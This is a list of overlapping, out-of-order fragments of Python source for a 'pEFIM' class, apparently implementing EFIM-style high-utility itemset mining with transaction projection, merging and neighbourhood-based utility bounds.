"pos1 -= 1 pos2 -= 1 return 1 else: while pos2 >= 0:",
"= [] for item in intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList",
"neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item]",
"in item_neighbours and transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item]",
"1 else: while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub",
"self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil:",
"positionProjection = projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1",
"1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility +",
"length2 = len(transaction2.items) - transaction2.offset if length1 != length2: return False position1 =",
"self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i]",
"and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep = [] newItemsToExplore = []",
"lst3 = [value for value in lst1 if value in temp] return lst3",
"+= len(itemsToExplore) for idx, e in enumerate(itemsToExplore): # caluclate the transactions containing p",
"positionE = items.index(e) if transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else:",
"if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in",
"- transaction1.offset length2 = len(transaction2.items) - transaction2.offset if length1 != length2: return False",
"utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious = 0 positionProjected =",
"self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for item in intersectionList: if item in self.oldNamesToNewNames:",
"transaction.prefixUtility i -= 1 def is_equal(self, transaction1, transaction2): length1 = len(transaction1.items) - transaction1.offset",
"= self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep,",
"prefixLength): intersectionList = [] if self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return",
"= [] for i in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep,",
"appears after e transactionsPe = [] # variable to caluclate the utility of",
"+ transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i -= 1 def is_equal(self, transaction1,",
"previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0 for transaction in transactionsOfP: items = transaction.getItems()",
"cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems() trans2_items = trans2.getItems() pos1",
"= self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for item in intersectionList: if item in",
"pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub != 0: return",
"import cmp_to_key from Transaction import Transaction class pEFIM(): highUtilityItemsets = [] candidateCount =",
"intersectionList = [] if self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList",
"sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities",
"the set which is intersection of all the neighbours of items present in",
"keep what appears after e transactionsPe = [] # variable to caluclate the",
"-= 1 def is_equal(self, transaction1, transaction2): length1 = len(transaction1.items) - transaction1.offset length2 =",
"neighbourhoodList) newItemsToKeep = [] newItemsToExplore = [] for l in range(idx + 1,",
"hybrid method temp = set(lst2) lst3 = [value for value in lst1 if",
"= transaction.getItems()[i] if item in itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item] in self.Neighbours:",
"newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): # now we will sort the transactions",
"minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore = itemsToExplore self.itemsToKeep = itemsToKeep self.transactions = transactions",
"items present in P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the local",
"[] newItemsToExplore = [] for l in range(idx + 1, len(itemsToKeep)): itemk =",
"= len(transaction.getItems()) i = length - 1 while i >= transaction.offset: item =",
"elif len(trans1_items) > len(trans2_items): while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1]",
"(1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for idx,",
"first transactoin previousTransaction = projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0: #",
"to keep what appears after e transactionsPe = [] # variable to caluclate",
"+ 1, len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in",
"finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for i in range(j + 1,",
"newItemsToExplore, prefixLength + 1) def intersection(self, lst1, lst2): # Use of hybrid method",
"# if the first consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount",
"= 0 positionProjection = projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious",
"total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def",
"+= 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility",
"of items present in P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the",
"self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength):",
"remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] +=",
"+= projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount = 0",
"in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for i",
"for i in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames,",
"position2 = transaction2.offset while position1 < len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return False",
"first consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious",
"transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for idx, e in enumerate(itemsToExplore): #",
"utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities",
"transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i -=",
"len(trans2_items): while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub !=",
"self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for idx, e",
"in range(idx + 1, len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if",
"= projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0: # if the first",
"0 utilityBinArrayLU = {} utilityBinArraySU = {} # a temporary buffer temp =",
"sub != 0: return sub pos1 -= 1 pos2 -= 1 return -1",
"in transactionsPe: length = len(transaction.getItems()) i = length - 1 while i >=",
"= positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >=",
"self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for item in intersectionList: if",
"trans2_items[pos2] - trans1_items[pos1] if sub != 0: return sub pos1 -= 1 pos2",
"in temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if self.temp[0] in",
"transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction ==",
"positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected += 1",
"for i in range(j + 1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0",
"previousTransaction = projectedTransaction consecutiveMergeCount = 0 transaction.offset = positionE if previousTransaction != transactionsOfP[0]:",
"self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength +",
"# if e was found in the transaction positionE = items.index(e) if transaction.getLastPosition()",
"transaction positionE = items.index(e) if transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility",
"itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk)",
"0 self.utilityBinArraySU[item] = 0 for transaction in transactionsPe: length = len(transaction.getItems()) i =",
"return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if self.temp[0] in self.Neighbours: intersectionList",
"-= 1 pos2 -= 1 return 1 else: while pos2 >= 0: sub",
"items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious = 0 positionProjection",
"[] if self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList for i",
"while pos1 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if sub != 0:",
"transaction2.items[position2]: return False position1 += 1 position2 += 1 return True def sortDatabase(self,",
"item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item]",
"is_equal(self, transaction1, transaction2): length1 = len(transaction1.items) - transaction1.offset length2 = len(transaction2.items) - transaction2.offset",
"previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious = 0 positionProjection = projectedTransaction.offset while positionPrevious <",
"sub pos1 -= 1 pos2 -= 1 return -1 elif len(trans1_items) > len(trans2_items):",
"temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility",
"< len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return False position1 += 1 position2 +=",
"for transaction in transactionsPe: length = len(transaction.getItems()) i = length - 1 while",
"items.index(e) if transaction.getLastPosition() == positionE: utilityPe += transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction =",
"at the same time project transactions to keep what appears after e transactionsPe",
"for l in range(idx + 1, len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk] >=",
"= [] # variable to caluclate the utility of Pe utilityPe = 0",
">= self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1)",
"!= 0: return sub pos1 -= 1 pos2 -= 1 return 1 else:",
"projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction consecutiveMergeCount = 0 transaction.offset",
"if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility +=",
"+= 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction)",
"= sumUtilities else: positionPrevious = 0 positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items) while",
"0: # if the first consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:]",
"0 positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] +=",
"buffer temp = [] for i in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility,",
"length2: return False position1 = transaction1.offset position2 = transaction2.offset while position1 < len(transaction1.items):",
"idx, e in enumerate(itemsToExplore): # caluclate the transactions containing p U {e} #",
"= self.Neighbours[self.temp[0]] else: return intersectionList for i in range(1, prefixLength+1): if self.temp[i] in",
"positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1 else:",
"previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction =",
", self.temp[:prefixLength + 1])) # caluclate the set which is intersection of all",
"if value in temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if",
"transactionsPe, j, itemsToKeep, neighbourhoodList): for i in range(j + 1, len(itemsToKeep)): item =",
"+= projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility consecutiveMergeCount += 1 else: transactionsPe.append(previousTransaction) previousTransaction = projectedTransaction",
"self.candidateCount += len(itemsToExplore) for idx, e in enumerate(itemsToExplore): # caluclate the transactions containing",
"[] for i in range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions,",
"# Use of hybrid method temp = set(lst2) lst3 = [value for value",
"items = transaction.getItems() if e in items: # if e was found in",
"[] candidateCount = 0 utilityBinArrayLU = {} utilityBinArraySU = {} # a temporary",
"all the neighbours of items present in P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength)",
"= itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0 for transaction in transactionsPe: length",
"minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours = mapItemsToneighbors self.itemsToExplore",
"1 return 1 else: while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1]",
"projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility",
"oldNamesToNewNames def runAlgo(self): # now we will sort the transactions according to proposed",
"neighbours of items present in P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate",
"caluclate the transactions containing p U {e} # at the same time project",
"position1 = transaction1.offset position2 = transaction2.offset while position1 < len(transaction1.items): if transaction1.items[position1] !=",
"now we will sort the transactions according to proposed total order on transaction",
"newItemsToKeep = [] newItemsToExplore = [] for l in range(idx + 1, len(itemsToKeep)):",
"= len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious += 1",
"return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for",
"trans1_items[pos1] if sub != 0: return sub pos1 -= 1 pos2 -= 1",
"= projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious < itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected]",
"highUtilityItemsets = [] candidateCount = 0 utilityBinArrayLU = {} utilityBinArraySU = {} #",
"self.temp[:prefixLength + 1])) # caluclate the set which is intersection of all the",
"itemsCount = len(items) positionPrevious = 0 positionProjection = projectedTransaction.offset while positionPrevious < itemsCount:",
"length - 1 while i >= transaction.offset: item = transaction.getItems()[i] if item in",
"sub pos1 -= 1 pos2 -= 1 return 1 else: while pos2 >=",
"self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk",
"positionPrevious = 0 positionProjected = projectedTransaction.offset itemsCount = len(previousTransaction.items) while positionPrevious < itemsCount:",
"of all the neighbours of items present in P U {e} neighbourhoodList =",
"e in items: # if e was found in the transaction positionE =",
"utility of Pe utilityPe = 0 # merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount",
"if transaction1.items[position1] != transaction2.items[position2]: return False position1 += 1 position2 += 1 return",
"value in temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if self.temp[0]",
"utilityPe += projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: # if it is the first",
"while positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection += 1",
"set(lst2) lst3 = [value for value in lst1 if value in temp] return",
"the first consecutive merge items = previousTransaction.items[previousTransaction.offset:] utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items)",
"= oldNamesToNewNames def runAlgo(self): # now we will sort the transactions according to",
"newItemsToExplore = [] for l in range(idx + 1, len(itemsToKeep)): itemk = itemsToKeep[l]",
"positionPrevious < itemsCount: utilities[positionPrevious] += projectedTransaction.utilities[positionProjection] positionPrevious += 1 positionProjection += 1 previousTransaction.prefixUtility",
"merging transactions previousTransaction = transactionsOfP[0] consecutiveMergeCount = 0 for transaction in transactionsOfP: items",
"1 return -1 elif len(trans1_items) > len(trans2_items): while pos2 >= 0: sub =",
"self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore,",
"= newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): # now we will sort the",
"consecutiveMergeCount = 0 transaction.offset = positionE if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] =",
"from functools import cmp_to_key from Transaction import Transaction class pEFIM(): highUtilityItemsets = []",
"newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore,",
"= 0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in range(i,",
"runAlgo(self): # now we will sort the transactions according to proposed total order",
"neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe,",
"newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep,",
"the transactions according to proposed total order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore,",
"length = len(transaction.getItems()) i = length - 1 while i >= transaction.offset: item",
"itemk in neighbourhoodList: newItemsToKeep.append(itemk) self.backtrackingEFIM(transactionsPe, newItemsToKeep, newItemsToExplore, prefixLength + 1) def intersection(self, lst1,",
"in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else: return intersectionList for i in range(1, prefixLength+1):",
"while position1 < len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return False position1 += 1",
"= trans2_items[pos2] - trans1_items[pos1] if sub != 0: return sub pos1 -= 1",
"e in enumerate(itemsToExplore): # caluclate the transactions containing p U {e} # at",
"class pEFIM(): highUtilityItemsets = [] candidateCount = 0 utilityBinArrayLU = {} utilityBinArraySU =",
"utilities = previousTransaction.utilities[previousTransaction.offset:] itemsCount = len(items) positionPrevious = 0 positionProjection = projectedTransaction.offset while",
"def caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]]",
"self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): # now",
"transaction.getItems() if e in items: # if e was found in the transaction",
"was found in the transaction positionE = items.index(e) if transaction.getLastPosition() == positionE: utilityPe",
"if self.temp[i] in self.Neighbours: intersectionList = self.intersection(self.Neighbours[self.temp[i]], intersectionList) finalIntersectionList = [] for item",
"= length - 1 while i >= transaction.offset: item = transaction.getItems()[i] if item",
"transaction2.offset while position1 < len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return False position1 +=",
"!= transaction2.items[position2]: return False position1 += 1 position2 += 1 return True def",
"projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: # if it",
"pos1 = len(trans1_items) - 1 pos2 = len(trans2_items) - 1 if len(trans1_items) <",
"trans1.getItems() trans2_items = trans2.getItems() pos1 = len(trans1_items) - 1 pos2 = len(trans2_items) -",
"0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep, itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore)",
"itemsToKeep[l] if self.utilityBinArraySU[itemk] >= self.minUtil: if itemk in neighbourhoodList: newItemsToExplore.append(itemk) newItemsToKeep.append(itemk) elif self.utilityBinArrayLU[itemk]",
"transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility",
"itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0 for transaction in transactionsPe: length =",
"transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: #",
"for value in lst1 if value in temp] return lst3 def caluclateNeighbourIntersection(self, prefixLength):",
"for k in range(i, length): transaction_item = transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and",
"return sub pos1 -= 1 pos2 -= 1 return 1 else: while pos2",
"= itemsToExplore self.itemsToKeep = itemsToKeep self.transactions = transactions self.newNamesToOldNames = newNamesToOldNames self.oldNamesToNewNames =",
"set which is intersection of all the neighbours of items present in P",
"which is intersection of all the neighbours of items present in P U",
"0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length):",
"[] # variable to caluclate the utility of Pe utilityPe = 0 #",
"len(items) positionPrevious = 0 positionProjection = projectedTransaction.offset while positionPrevious < itemsCount: utilities[positionPrevious] +=",
"0: sub = trans2_items[pos2] - trans1_items[pos1] if sub != 0: return sub pos1",
"prefixLength + 1) def intersection(self, lst1, lst2): # Use of hybrid method temp",
"# at the same time project transactions to keep what appears after e",
"itemsCount: previousTransaction.utilities[positionPrevious] += projectedTransaction.utilities[ positionProjected] positionPrevious += 1 positionProjected += 1 previousTransaction.transactionUtility +=",
"caluclate the utility of Pe utilityPe = 0 # merging transactions previousTransaction =",
"length1 = len(transaction1.items) - transaction1.offset length2 = len(transaction2.items) - transaction2.offset if length1 !=",
"previousTransaction): if consecutiveMergeCount == 0: # if the first consecutive merge items =",
"len(transaction.getItems()) i = length - 1 while i >= transaction.offset: item = transaction.getItems()[i]",
"previousTransaction = Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious =",
"transactions containing p U {e} # at the same time project transactions to",
"transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] += remainingUtility +",
"False position1 = transaction1.offset position2 = transaction2.offset while position1 < len(transaction1.items): if transaction1.items[position1]",
"if previousTransaction != transactionsOfP[0]: transactionsPe.append(previousTransaction) self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe",
"on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP,",
"remainingUtility + transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i -= 1 def is_equal(self,",
"if item in itemsToKeep: remainingUtility = 0 if self.newNamesToOldNames[item] in self.Neighbours: item_neighbours =",
"pEFIM(): highUtilityItemsets = [] candidateCount = 0 utilityBinArrayLU = {} utilityBinArraySU = {}",
"transaction.prefixUtility self.utilityBinArrayLU[item] += transaction.transactionUtility + transaction.prefixUtility i -= 1 def is_equal(self, transaction1, transaction2):",
"if sub != 0: return sub pos1 -= 1 pos2 -= 1 return",
"intersection(self, lst1, lst2): # Use of hybrid method temp = set(lst2) lst3 =",
"else: return intersectionList for i in range(1, prefixLength+1): if self.temp[i] in self.Neighbours: intersectionList",
"range(5000): temp.append(0) def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil =",
"sub = trans2_items[pos2] - trans1_items[pos1] if sub != 0: return sub pos1 -=",
"return 1 else: while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if",
"the transactions containing p U {e} # at the same time project transactions",
"return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList): for i in range(j +",
"transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self, transactionsOfP, itemsToKeep,",
"sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems()",
"temp = set(lst2) lst3 = [value for value in lst1 if value in",
"if length1 != length2: return False position1 = transaction1.offset position2 = transaction2.offset while",
"self.oldNamesToNewNames = oldNamesToNewNames def runAlgo(self): # now we will sort the transactions according",
"1])) # caluclate the set which is intersection of all the neighbours of",
"we will sort the transactions according to proposed total order on transaction self.sortDatabase(self.transactions)",
"[] for l in range(idx + 1, len(itemsToKeep)): itemk = itemsToKeep[l] if self.utilityBinArraySU[itemk]",
"from Transaction import Transaction class pEFIM(): highUtilityItemsets = [] candidateCount = 0 utilityBinArrayLU",
"Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious = 0 positionProjected",
"transactionsPe: length = len(transaction.getItems()) i = length - 1 while i >= transaction.offset:",
"False position1 += 1 position2 += 1 return True def sortDatabase(self, transactions): cmp_items",
"itemsToExplore, prefixLength): self.candidateCount += len(itemsToExplore) for idx, e in enumerate(itemsToExplore): # caluclate the",
"positionPrevious += 1 positionProjection += 1 previousTransaction.prefixUtility += projectedTransaction.prefixUtility sumUtilities = previousTransaction.prefixUtility previousTransaction",
"Use of hybrid method temp = set(lst2) lst3 = [value for value in",
"= Transaction(items, utilities, previousTransaction.transactionUtility + projectedTransaction.transactionUtility) previousTransaction.prefixUtility = sumUtilities else: positionPrevious = 0",
"self.utilityBinArraySU[item] = 0 for transaction in transactionsPe: length = len(transaction.getItems()) i = length",
"item in intersectionList: if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe,",
"len(trans1_items) > len(trans2_items): while pos2 >= 0: sub = trans2_items[pos2] - trans1_items[pos1] if",
"def intersection(self, lst1, lst2): # Use of hybrid method temp = set(lst2) lst3",
"1 while i >= transaction.offset: item = transaction.getItems()[i] if item in itemsToKeep: remainingUtility",
"import Transaction class pEFIM(): highUtilityItemsets = [] candidateCount = 0 utilityBinArrayLU = {}",
"P U {e} neighbourhoodList = self.caluclateNeighbourIntersection(prefixLength) # caluclate the local utility and subtree",
"the same time project transactions to keep what appears after e transactionsPe =",
"if consecutiveMergeCount == 0: # if the first consecutive merge items = previousTransaction.items[previousTransaction.offset:]",
"p U {e} # at the same time project transactions to keep what",
"self.newNamesToOldNames[item] in self.Neighbours: item_neighbours = self.Neighbours[self.newNamesToOldNames[item]] for k in range(i, length): transaction_item =",
"transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items = trans1.getItems() trans2_items = trans2.getItems() pos1 =",
